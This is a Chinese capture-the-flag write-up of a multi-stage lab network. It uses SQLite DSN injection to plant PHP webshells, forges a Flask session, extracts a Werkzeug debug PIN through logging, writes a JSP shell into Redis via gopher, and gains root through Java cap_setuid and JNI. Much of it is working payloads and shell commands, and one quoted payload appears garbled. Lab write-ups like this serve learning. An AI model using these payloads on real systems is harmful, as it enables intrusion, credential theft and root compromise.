flag:ctfshow{0x8F7C71E8E82E4D1E}
还测出前面源码 8888 端口的flask:(ip不一样因为重启了靶机)

还测出一个 jetty 服务

还有一个 172.2.xxx.2:7400 的服务,返回401,估计是控制环境用的
第三章(PHP)
跳岛战术
跳岛战术,指直接跳过这题打后面几道非预期(

php服务器 172.2.xxx.5
观察一下前面得到的html
<!DOCTYPE html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Database TEST</title>
    <script>
        const DATABASE_SECRET_KEY = '0x8F7C71E8E82E4D1E';
    </script>
</head>
<body>
    <h1>Welcome to Database TEST</h1>
    <p>This is a test page for database connection and queries.</p>
    <form action="index.php" method="get">
        <label for="name">Enter Database username:</label>
        <input type="text" id="name" name="username" required>
        <br><br>
        <label for="password">Enter Database password:</label>
        <input type="password" id="password" name="password" required>
        <br><br>
        <label for="dsn">Enter Database DSN:</label>
        <input type="text" id="dsn" name="dsn" required>
        <br><br>
        <label for="query">Enter TEST Query:</label>
        <input type="text" id="query" name="query" required>
        <br><br>
        <input type="submit" value="Submit">
    </form>
</body>
</html>
测试发现 config.php 和 index.php 在同一个目录
hint:
&
sqlite是可以不用账号密码的
必须有真实的表结构,才能文件落地
本地写一个pdo查询测一下
?dsn=sqlite:test.php&query=CREATE TABLE IF NOT EXISTS users (id INTEGER PRIMARY KEY,'<?php phpinfo();?>' TEXT NOT NULL,email TEXT NOT NULL,created_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP)


能写,接下来尝试打远程
需要url编码:
index.php?dsn=sqlite:user.php%26query=CREATE%20TABLE%20users(id%20INTEGER%20PRIMARY%20KEY,user%20TEXT%20NOT%20NULL);
但是所有人都卡在了接收不到参数上。。
于是到了6号下午,这个时候数据库有回显了,果然是环境有问题(
需要先生成一个完整表结构的文件:
index.php?dsn=sqlite:user.db%26query=CREATE%20TABLE%20users(id%20INTEGER%20PRIMARY%20KEY,user%20TEXT%20NOT%20NULL);
尝试写马(第二段payload需要php用exec才能写马)
?dsn=sqlite:user.php%26query=CREATE%20TABLE%20users(id%20INTEGER%20PRIMARY%20KEY,'<?php%20phpinfo();?>'%20TEXT%20NOT%20NULL);
?dsn=sqlite:user.db%26query=ATTACH%2BDATABASE%2B%22%2Fvar%2Fwww%2Fhtml%2Fcmd%2Ephp%22%2BAS%2Bshell%3Bcreate%2BTABLE%2Bshell%2Eexp%2B%28payload%2Btext%29%3Binsert%2BINTO%2Bshell%2Eexp%2B%28payload%29%2BVALUES%28%22%3C%3F%3Deval%28%24%5FGET%5B0%5D%29%3B%22%29%3B
能生成文件,但是访问返回500,猜测和 sqlite 那堆字符有关,得写一个干净的shell
getshell
琢磨了半天群主直接给payload了:
%3fdsn=sqlite:shell.php%26username=aaa%26password=bbb%26query=create%20table%20"aaa"%20(name%20TEXT%20DEFAULT%20"<?php                                                   ?>');?>");
此时访问shell.php虽然接口服务会报500,但是已经生成了1.php
然后就getshell了
读config.php
<?php
//数据库连接配置
$database_host = "localhost";
$database_user = "root";
$database_password = "3f7a1d5a-d55d-4d9d-8d9a-d5d5d5d5d5d5";
$database_name = "web_db_2";
?>
flag:ctfshow{3f7a1d5a-d55d-4d9d-8d9a-d5d5d5d5d5d5}
index.php
<?php
$pdo =null;
$dsn = $_GET['dsn'];
$username = $_GET['username'];
$password = $_GET['password'];
$pdo = pdo_init($dsn, $username, $password);
if($pdo === null){
    echo "database init faild";
    exit();
}
$pdo->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
$sql = $_GET['query'];
$stmt = pdo_query($pdo, $sql);
pdo_close($pdo);
if($stmt!==null){
    echo "database test success";
}else{
    echo "database test error";
}
function pdo_init($dns, $username, $password){
   
    try{
        $pdo = new PDO($dns,$username, $password);
        $pdo->query("set names utf8");
        return $pdo;
    }catch(PDOException $e){
        echo "数据库连接失败:".$e->getMessage();
        exit();
    }
}
function pdo_query($pdo, $sql, $params=array()){
    try{
        $stmt = $pdo->prepare($sql);
        $stmt->execute($params);
        return $stmt;
    }catch(PDOException $e){
        echo "数据库操作失败:".$e->getMessage();
        exit();
    }
}
function pdo_close($pdo){
    $pdo = null;
}
?>
<!DOCTYPE html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Database TEST</title>
	<script>
		const DATABASE_SECRET_KEY = '0x8F7C71E8E82E4D1E';
	</script>
</head>
<body>
    <h1>Welcome to Database TEST</h1>
    <p>This is a test page for database connection and queries.</p>
    <form action="index.php" method="get">
        <label for="name">Enter Database username:</label>
        <input type="text" id="name" name="username" required>
        <br><br>
        <label for="password">Enter Database password:</label>
        <input type="password" id="password" name="password" required>
        <br><br>
        <label for="dsn">Enter Database DSN:</label>
        <input type="text" id="dsn" name="dsn" required>
        <br><br>
        <label for="query">Enter TEST Query:</label>
        <input type="text" id="query" name="query" required>
        <br><br>
        <input type="submit" value="Submit">
    </form>
</body>
<html>
邮箱迷云
非预期

?浏览器插件里出现了个数字,看了一下是从网页js来的,试一下居然秒了
flag:ctfshow{81192}
预期
根目录下有 /secret.txt,是一串base,解码得到
hacker_ctfshow@163.com/Hacker_ctfsh0w
网易云邮箱的账密这是,应该是可以直接登录得到邮件的
第四章(Flask)
再下一城

在 172.2.xxx.6:8888 开的 flask
审一下源码:
from flask import Flask, request, jsonify, session
from flask import url_for
from flask import redirect
import logging
from os.path import basename
from os.path import join
app = Flask(__name)
app.config['SECRET_KEY'] = '3f7a4d5a-a71a-4d9d-8d9a-d5d5d5d5d5d5'
@app.route('/', methods=['GET'])
def index():
    session['user'] = 'guest'
    return {'message': 'log server is running'}
def check_session():
    if 'user' not in session:
        return False
    if session['user'] != 'admin':
        return False
    return True
@app.route('/key', methods=['GET'])
def get_key():
    if not check_session():
        return {"message": "not authorized"}
    else:
        with open('/log_server_key.txt', 'r') as f:
            key = f.read()
        return {'message': 'key', 'key': key}
@app.route('/set_log_option')
def set_log_option():
    if not check_session():
        return {"message": "not authorized"}
    logName = request.args.get('logName')
    logFile = request.args.get('logFile')
    app_log = logging.getLogger(logName)
    app_log.addHandler(logging.FileHandler('./log/' + logFile))
    app_log.setLevel(logging.INFO)
    clear_log_file('./log/' + logFile)
    return {'message': 'log option set successfully'}
@app.route('/get_log_content')
def get_log_content():
    if not check_session():
        return {"message": "not authorized"}
    logFile = request.args.get('logFile')
    path = join('log', basename(logFile))
    with open(path, 'r') as f:
        content = f.read()
    return {'message': 'log content', 'content': content}
def clear_log_file(file_path):
    with open(file_path, 'w'):
        pass
if __name__ == '__main__':
    app.run(debug=True, host='0.0.0.0', port=8888)
只需要伪造 session 为 admin 就行了:eyJ1c2VyIjoiYWRtaW4ifQ.Z3fRog.jDaIyoC9spazAJkgcwQIapkGIxU
但是在哪传呢,测了一下发现任务中心不出网
看来要把php那台机子拿下shell才能打
开了debug模式,可以访问console
php那台服务器有curl,直接curl就行
curl -b "session=eyJ1c2VyIjoiYWRtaW4ifQ.Z3fRog.jDaIyoC9spazAJkgcwQIapkGIxU" 172.2.227.6:8888/key

flag:ctfshow{4f5d1d5d-1d5d-1d5d1d5d1d5d}
顺藤摸瓜(复现)
接下来关注这个:
@app.route('/set_log_option')
def set_log_option():
    if not check_session():
        return {"message": "not authorized"}
    logName = request.args.get('logName')
    logFile = request.args.get('logFile')
    app_log = logging.getLogger(logName)
    app_log.addHandler(logging.FileHandler('./log/' + logFile))
    app_log.setLevel(logging.INFO)
    clear_log_file('./log/' + logFile)
    return {'message': 'log option set successfully'}
@app.route('/get_log_content')
def get_log_content():
    if not check_session():
        return {"message": "not authorized"}
    logFile = request.args.get('logFile')
    path = join('log', basename(logFile))
    with open(path, 'r') as f:
        content = f.read()
    return {'message': 'log content', 'content': content}
def clear_log_file(file_path):
    with open(file_path, 'w'):
        pass
构造curl
curl -b "session=eyJ1c2VyIjoiYWRtaW4ifQ.Z3fRog.jDaIyoC9spazAJkgcwQIapkGIxU" 172.2.227.6:8888/set_log_option?logFile=../../../etc/passwd%2526logName=1
curl -b "session=eyJ1c2VyIjoiYWRtaW4ifQ.Z3fRog.jDaIyoC9spazAJkgcwQIapkGIxU" 172.2.227.6:8888/get_log_content?logFile=1
尝试利用clear_log_file直接读 /etc/passwd,但是前面要写日志到文件中,明显权限不足
想到还有 console,但是没有PIN码,怎么办呢
因为这里有 logging 库,可以把控制台打印的东西保存下来,而我们访问/console?__debugger__=yes&cmd=printpin&s=SECRET时会把PIN码打印在控制台,那么就可以把PIN码写到日志
那么先获取console的key,直接访问console,在返回的html中就有:
curl -b "session=eyJ1c2VyIjoiYWRtaW4ifQ.Z3fRog.jDaIyoC9spazAJkgcwQIapkGIxU" 172.2.186.6:8888/console

然后设置日志文件路径:
http://172.2.186.5/1.php?1=system('curl -b  "session=eyJ1c2VyIjoiYWRtaW4ifQ.Z3CODA.xtpnmtcEw-pXdixnj36DDm51-FY" "http://172.2.186.6:8888/set_log_option%3flogName=werkzeug%2526logFile=main.log"');
接下来使控制台打印出PIN码写到日志中:
curl -b  "session=eyJ1c2VyIjoiYWRtaW4ifQ.Z3fRog.jDaIyoC9spazAJkgcwQIapkGIxU" http://172.2.186.6:8888/console?__debugger__=yes&cmd=printpin&s=64cjjJmRmKNv647oy994
这里可以对命令进行编码来避免解码问题
http://172.2.186.5/1.php?1=system(base64_decode('Y3VybCAtYiAgInNlc3Npb249ZXlKMWMyVnlJam9pWVdSdGFXNGlmUS5aM2ZSb2cuakRhSXlvQzlzcGF6QUprZ2N3UUlhcGtHSXhVIiAiaHR0cDovLzE3Mi4yLjE4Ni42Ojg4ODgvY29uc29sZT9fX2RlYnVnZ2VyX189eWVzJmNtZD1wcmludHBpbiZzPTY0Y2pqSm1SbUtOdjY0N295OTk0Ig=='));
然后读取日志
curl -b "session=eyJ1c2VyIjoiYWRtaW4ifQ.Z3fRog.jDaIyoC9spazAJkgcwQIapkGIxU" 172.2.186.6:8888/get_log_content?logFile=main.log

得到PIN码 606-570-039
然后进行PIN验证:
curl -b "session=eyJ1c2VyIjoiYWRtaW4ifQ.Z3fRog.jDaIyoC9spazAJkgcwQIapkGIxU" "http://172.2.186.6:8888/console?__debugger__=yes&cmd=pinauth&pin=606-570-039&s=64cjjJmRmKNv647oy994"
http://172.2.186.5/1.php?1=system(base64_decode('Y3VybCAtYiAic2Vzc2lvbj1leUoxYzJWeUlqb2lZV1J0YVc0aWZRLlozZlJvZy5qRGFJeW9DOXNwYXpBSmtnY3dRSWFwa0dJeFUiICJodHRwOi8vMTcyLjIuMTg2LjY6ODg4OC9jb25zb2xlP19fZGVidWdnZXJfXz15ZXMmY21kPXBpbmF1dGgmcGluPTYwNi01NzAtMDM5JnM9NjRjampKbVJtS052NjQ3b3k5OTQi'));

验证通过,需要用curl -c来保存cookie
curl -c cookie.txt -b "session=eyJ1c2VyIjoiYWRtaW4ifQ.Z3fRog.jDaIyoC9spazAJkgcwQIapkGIxU" "http://172.2.186.6:8888/console?__debugger__=yes&cmd=pinauth&pin=606-570-039&s=64cjjJmRmKNv647oy994"
访问跳板机上的cookie.txt

然后带着这个cookie去就可以rce了,这里直接文件读取了
curl -b  "__wzdb4206e39743d62f78f25=1736741655|a7b6c7c8a2a5" "http://172.2.186.6:8888/console?__debugger__=yes&cmd=open('/etc/passwd','r').read()&frm=0&s=64cjjJmRmKNv647oy994"

flag:ctfshow{ctfer:x:1000:1000::/home/ctfer:/bin/bash}
第五章(Jetty)
艰难的最后一步
那这章就是 jetty 服务了:172.2.xxx.7:8080
参考:https://xz.aliyun.com/t/11821
测试读到 web.xml

<!DOCTYPE web-app PUBLIC
"-//Sun Microsystems, Inc.//DTD Web Application 2.3//EN"
"http://java.sun.com/dtd/web-app_2_3.dtd" >
<web-app>
  <display-name>Archetype Created Web Application</display-name>
  <!-- 环境参数 -->
  <env-entry>
    <env-entry-name>redis.host</env-entry-name>
    <env-entry-type>java.lang.String</env-entry-type>
    <env-entry-value>localhost</env-entry-value>
  </env-entry>
  <env-entry>
    <env-entry-name>redis.port</env-entry-name>
    <env-entry-type>java.lang.Integer</env-entry-type>
    <env-entry-value>6380</env-entry-value>
  </env-entry>
  <env-entry>
    <env-entry-name>redis.password</env-entry-name>
    <env-entry-type>java.lang.String</env-entry-type>
    <env-entry-value>ctfshow_2025</env-entry-value>
  </env-entry>
  <env-entry>
    <env-entry-name>redis.timeout</env-entry-name>
    <env-entry-type>java.lang.Integer</env-entry-type>
    <env-entry-value>10000</env-entry-value>
  </env-entry>
  <env-entry>
    <env-entry-name>app_root</env-entry-name>
    <env-entry-type>java.lang.String</env-entry-type>
    <env-entry-value>/opt/jetty/webapps/ROOT/</env-entry-value>
  </env-entry>
</web-app>
flag:ctfshow{ctfshow_2025}
功亏一篑(复现)
一开始是想在php跳板机上写一个 php 打 gopher 到 redis 上
但是发现 curl 是支持 dict:// 协议和gopher://协议的
curl -v "dict://172.2.132.7:6380/auth:ctfshow_2025"
http://172.2.132.5/1.php?1=system(base64_decode('Y3VybCAtdiAiZGljdDovLzE3Mi4yLjEzMi43OjYzODAvYXV0aDpjdGZzaG93XzIwMjUi'));

直接构造 gopher 请求包写jsp马
auth ctfshow_2025
set mars "<% Runtime.getRuntime().exec(new String[]{\"sh\",\"-c\",request.getParameter(\"cmd\")});%>"
config set dir /opt/jetty/webapps/ROOT/
config set dbfilename 2.jsp
save
quit
url编码然后发送
curl -v "gopher://172.2.132.7:6380/_auth%20ctfshow_2025%0Aset%20mars%20%22%3C%25%20Runtime.getRuntime().exec(new%20String%5B%5D%7B%5C%22sh%5C%22%2C%5C%22-c%5C%22%2Crequest.getParameter(%5C%22cmd%5C%22)%7D)%3B%25%3E%22%0Aconfig%20set%20dir%20%2Fopt%2Fjetty%2Fwebapps%2FROOT%2F%0Aconfig%20set%20dbfilename%202.jsp%0Asave%0Aquit"	
http://172.2.132.5/1.php?1=system(base64_decode('Y3VybCAtdiAiZ29waGVyOi8vMTcyLjIuMTMyLjc6NjM4MC9fYXV0aCUyMGN0ZnNob3dfMjAyNSUwQXNldCUyMG1hcnMlMjAlMjIlM0MlMjUlMjBSdW50aW1lLmdldFJ1bnRpbWUoKS5leGVjKG5ldyUyMFN0cmluZyU1QiU1RCU3QiU1QyUyMnNoJTVDJTIyJTJDJTVDJTIyLWMlNUMlMjIlMkNyZXF1ZXN0LmdldFBhcmFtZXRlciglNUMlMjJjbWQlNUMlMjIpJTdEKSUzQiUyNSUzRSUyMiUwQWNvbmZpZyUyMHNldCUyMGRpciUyMCUyRm9wdCUyRmpldHR5JTJGd2ViYXBwcyUyRlJPT1QlMkYlMEFjb25maWclMjBzZXQlMjBkYmZpbGVuYW1lJTIwMi5qc3AlMEFzYXZlJTBBcXVpdCI='));

执行成功,直接rce
http://172.2.132.7:8080/2.jsp?cmd=ls%20/>/opt/jetty/webapps/ROOT/success.txt


同样的方式读取dylan.txt
The enemy cyber attacker 81192 has been injected with prions by our agents, 
and there is no chance of survival, victory is ours! 
The key is 7b11a7ae330883cb5bf667a9c1604635.
flag:ctfshow{7b11a7ae330883cb5bf667a9c1604635}
今日方知我是我(复现)
需要提权为root
查suid
find%20/%20-perm%20-u=s%20-type%20f%202>/dev/null>/opt/jetty/webapps/ROOT/success.txt
/usr/lib/openssh/ssh-keysign
/usr/bin/newgrp
/usr/bin/gpasswd
/usr/bin/chsh
/usr/bin/chfn
/usr/bin/passwd
/bin/mount
/bin/umount
/bin/su
/bin/ping
GTFObins 搜了下没有可用的命令
查cap权限
getcap%20-r%20/%202>/dev/null>/opt/jetty/webapps/ROOT/success.txt
/usr/local/openjdk-8/bin/java = cap_setuid+ep
java 设置了 cap_setuid 权限
那么需要用 java 执行setuid(0)的操作,然而java并不像python那样有专门的 os.setuid 可以设置
需要通过 JNI + setuid 实现,参考 https://stackoverflow.com/questions/5985597/jni-setuid-question
这里按照官方wp的做法:
利用编码写入 SetUID.c:
#include <jni.h>
#include <unistd.h>
JNIEXPORT jint JNICALL Java_SetUID_setUID(JNIEnv *env, jobject obj, jint uid) {
    return setuid(uid);
}
2.jsp?cmd=echo%20"I2luY2x1ZGUgPGpuaS5oPgovLzExMTExMTExMTExMjIKI2luY2x1ZGUgPHVuaXN0ZC5oPgoKSk5JRVhQT1JUIGppbnQgSk5JQ0FMTCBKYXZhX1NldFVJRF9zZXRVSUQoSk5JRW52ICplbnYsIGpvYmplY3Qgb2JqLCBqaW50IHVpZCkgewogICAgcmV0dXJuIHNldHVpZCh1aWQpOwp9"%20|base64%20-d%20>/opt/jetty/webapps/ROOT/SetUID.c
写入 SetUID.java:
public class SetUID {
    static {
        System.loadLibrary("SetUID"); 
    }
    public native int setUID(int uid); 
    public static void main(String[] args) throws Exception {
        SetUID setUID = new SetUID();
        int result = setUID.setUID(0); 
        Runtime.getRuntime.exec(new String[]{"sh","-c","cat /root/*.txt>/opt/jetty/webapps/ROOT/root.txt"});
    }
}
2.jsp?cmd=echo%20"cHVibGljIGNsYXNzIFNldFVJRCB7CiAgICBzdGF0aWMgewogICAgICAgIFN5c3RlbS5sb2FkTGlicmFyeSgiU2V0VUlEIik7IAogICAgfQoKICAgIHB1YmxpYyBuYXRpdmUgaW50IHNldFVJRChpbnQgdWlkKTsgCiAgLy9hCiAgICBwdWJsaWMgc3RhdGljIHZvaWQgbWFpbihTdHJpbmdbXSBhcmdzKSB0aHJvd3MgRXhjZXB0aW9uIHsKICAgICAgICBTZXRVSUQgc2V0VUlEID0gbmV3IFNldFVJRCgpOwogICAgICAgIGludCByZXN1bHQgPSBzZXRVSUQuc2V0VUlEKDApOyAKICAgICAgICBSdW50aW1lLmdldFJ1bnRpbWUoKS5leGVjKG5ldyBTdHJpbmdbXXsic2giLCItYyIsImNhdCAvcm9vdC8qLnR4dD4vb3B0L2pldHR5L3dlYmFwcHMvUk9PVC9yb290LnR4dCJ9KTsKICAgIH0KfQ=="%20|base64%20-d%20>/opt/jetty/webapps/ROOT/SetUID.java
编译 c 和 java 文件
2.jsp?cmd=gcc%20-shared%20-fPIC%20-o%20/opt/jetty/webapps/ROOT/libSetUID.so%20-I${JAVA_HOME}/include%20-I${JAVA_HOME}/include/linux%20/opt/jetty/webapps/ROOT/SetUID.c
2.jsp?cmd=javac%20/opt/jetty/webapps/ROOT/SetUID.java
以root权限执行命令:
2.jsp?cmd=java%20-Djava.library.path=/opt/jetty/webapps/ROOT/%20-cp%20/opt/jetty/webapps/ROOT/%20SetUID
得到 /root/message.txt 的内容

flag:ctfshow{http://8.11.9.2}

End